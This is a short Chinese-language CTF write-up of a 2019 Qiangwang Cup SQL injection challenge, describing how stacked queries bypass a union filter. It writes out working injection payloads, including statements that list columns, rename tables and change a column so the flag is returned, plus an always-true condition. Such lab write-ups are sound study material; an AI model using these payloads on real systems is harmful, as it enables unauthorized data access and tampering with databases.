#前言:最近在学习ctf,遇到强网杯2019,记录一下。

开局

打开环境后便有一个登陆框,尝试使用1’ 进行sql注入测试。发现报错信息确认了存在sql注入。

进行列数数量的判断。 测试为2

尝试 进行 union 注入。 发现 关键字被过滤掉了。

堆叠注入

进行堆叠注入的尝试。查询表名称

发现两个表 words 1919810931114514 分别对两个表进行字段查询

1'; show  columns from words

';show columns from `1919810931114514`;#

接下来就是骚操作了。因为通过传参1进去可以发现回显了两个信息,然而words表刚好有两个字段。 我们就可以把 1919…. 这个表名,字段名进行更改,更改为words,id 进行查询 .后台的 sql语句就应该是 select * form words where id =1

在进行操作前需要知道sql语句的更改:

1.alter table 表名 rename 新表名;

2.alter table 表名 change 字段 新字段 数据类型; (alter table words change flag id varchar(60);)

构造 payload

1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);#

提交值后会发现没有结果空白,id 的值变成了 flag 的值 。所以只能让条件为真就可以返回flag 值

1‘ or ‘1’=1#

!